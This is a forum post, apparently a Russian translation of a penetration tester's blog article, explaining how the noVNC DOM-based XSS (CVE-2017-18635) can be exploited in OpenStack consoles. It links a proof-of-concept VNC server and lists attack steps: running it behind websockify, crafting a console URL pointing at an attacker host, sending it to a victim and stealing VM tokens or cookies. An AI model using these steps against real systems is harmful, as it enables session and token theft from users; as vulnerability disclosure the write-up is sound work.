• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Использование noVNC XSS (CVE-2017-18635) в OpenStack

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
Что же это?:
noVNC был основан на типе атак XSS, которая в свою очередь была основана на DOM, которая позволяла злоумышленникам использовать вредоносный VNC-
сервер для внедрения JavaScript кода внутри веб-страницы.
Поскольку OpenStack использует noVNC, а его система исправлений не обновляет программное обеспечение сторонних производителей, полностью обновленные установки OpenStack могут оставаться ныне уязвимыми.

paste.png


Введение.

На прошлой неделе я тестировал инфраструктуру OpenStack во время проведение своего теста на проникновение .
OpenStack является свободным и открытым исходным кодом программного обеспечения платформы для облачных вычислений, в котором можно управлять и развертывать виртуальные серверы и другие ресурсы.

OpenStack - это огромная часть программного обеспечения, состоящая из множества различных «модулей», которые можно свободно увидеть в официальном репозитории Github .

Сначала я запустил новый экземпляр со случайным образом ОС, чтобы посмотреть, как я могу с ним взаимодействовать.
Когда вы запускаете новую виртуальную машину в OpenStack, у вас есть два основных способа ее администрирования: вы можете назначить ее сети публичным IP, открыть необходимые порты и использовать любой протокол какой вы только пожелаете удаленного администрирования (SSH, RDP и т. Д.). ) или вы можете использовать функцию «Console» в OpenStack .

Функция «Console» использует noVNC , HTML VNC клиент, который позволяет вам видеть экран вашей виртуальной машины через нашу любимую сеть интерпуп прямо в браузере. Приятно!
Я использовал клиенты VNC много раз прежде, но никогда не использовал HTML, поэтому мне было интересно, как это работает, и я попал в репозиторий noVNC github .
После быстрого просмотра websockify, компонента noVNC, который туннелирует TCP-соединение через web-сокеты, я искал оба репозитория на предмет проблем безопасности.


Время поисков!

Особенностью этой ошибки было то, что CVE не был обобвщевстлён (Он был публично доступен), дистрибутивы GNU/Linux не опубликовали обновление безопасности для пакета noVNC, а OpenStack не выпустил уведомление о состоянии безопасности для него, а просто обновило уязвимый компонент в новых установках OpenStack (Так как компонент noVNC обычно гит-клонируется во время установки или устанавливается из репозиториев дистрибутивов), оставляя все предыдущие исправления.
Так что у меня была потенциальная уязвимость, существование которой я мог легко проверить!


Опа, проверочка.

Простое нажатие клавиш CTRL + U на моей целевой странице «Console» и последующие нажатие клавиш CTRL + F позволило мне подтвердить уязвимость, ура!

Глядя на описание проблемы, мы можем увидеть:

В noVNC была обнаружена уязвимость XSS, в которой удаленный сервер VNC мог внедрить произвольный HTML-код в веб-страницу noVNC через сообщения, передаваемые в поле состояния, например, имя сервера VNC.


Поэтому я подумал, что это всего лишь вопрос изменения имени виртуальной машины внутри OpenStack для запуска XSS.
Не так быстро ...
Это приведет только к само-XSS и, более того, OpenStack дезинфицирует имя виртуальной машины.
¯\_(ツ)_/¯

Версия OpenStack noVNC поставляется на одной vnc_auto.html странице, которая вызывается с token параметром GET. Вышеупомянутый токен выдается API-интерфейсом OpenStack и позволяет вам получить доступ к определенной виртуальной машине.



Слово может убить, пощадить, но не проверить уязвимость, давайте же это сделаем!

Пришло время написать эксплойт, чтобы показать влияние этой уязвимости!
Посмотрев исходный код, оказалось, что вы можете указать вместе с токен параметром также host и port, которые сообщат клиенту сервер noVNC, к которому он должен подключиться.
Теперь я могу заставить клиента noVNC, размещенного в домене OpenStack, подключаться к произвольному серверу noVNC.

Как указывалось ранее, отменить патч просто, и мы можем заметить, что status функция в vnc_auto.html файле будет использовать статус, как text так innerHTML каждый раз, когда происходит изменение статуса.
( https://github.com/novnc/noVNC/comm...a13#diff-22286f77c1852bf6a87298df3bfbb452L149 )

В частности, status функция вызывается server-name как вход при подключении к внешнему серверу noVNC.
( https://github.com/novnc/noVNC/blob/41f476a86357f1404fcca078212c702599bbcc57/vnc_auto.html#L162 )

Имея в виду всю эту информацию, я написал «сервер noVNC» ;) ,который запускает VNC, отправляет как server-name полезную нагрузку JavaScript, ждет 30 секунд и, наконец, закрывает соединение.
Это заставит любого уязвимого клиента noVNC, который подключается к нему, выполнить полезную нагрузку, присутствующую внутри server-name параметра.


PoC || GTFO

Чтобы воспроизвести уязвимость, злоумышленник должен:

  1. Установите websockify ( pip3 install websockify)
  2. Загрузить (https://github.com/ShielderSec/cve-2017-18635 ) и запустите VNC-сервер ( python3 cve-2017-18635.py &)
  3. Предоставьте доступ к серверу VNC через websockify (требуется действительный сертификат SSL / TLS, если целевой клиент noVNC предоставляется через HTTPS) ( python3 -m websockify --cert=cert.pem --key=key.pem 6080 127.0.0.1:5902)
  4. Создайте URL-адрес соединения целевого клиента noVNC с сервером злоумышленника как host и port параметры ( https://openstack.vict.im/vnc_auto.html?host=attack.er&port=6080)
  5. Отправьте ссылку жертве.
  6. Получите прибыль, украдя токены OpenStack VM из браузера жертвы localStorage или украдя куки жертвы.


Но не советую это делать, т.к. кража даже в интернете - плохо! И спасибо за прочтение данной статьи в великолепной сети интернет.
Оригинальная статья: https://www.shielder.it/blog/exploiting-an-old-novnc-xss-cve-2017-18635-in-openstack/
Спасибо за предложение данной статьи admin
neopaket
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх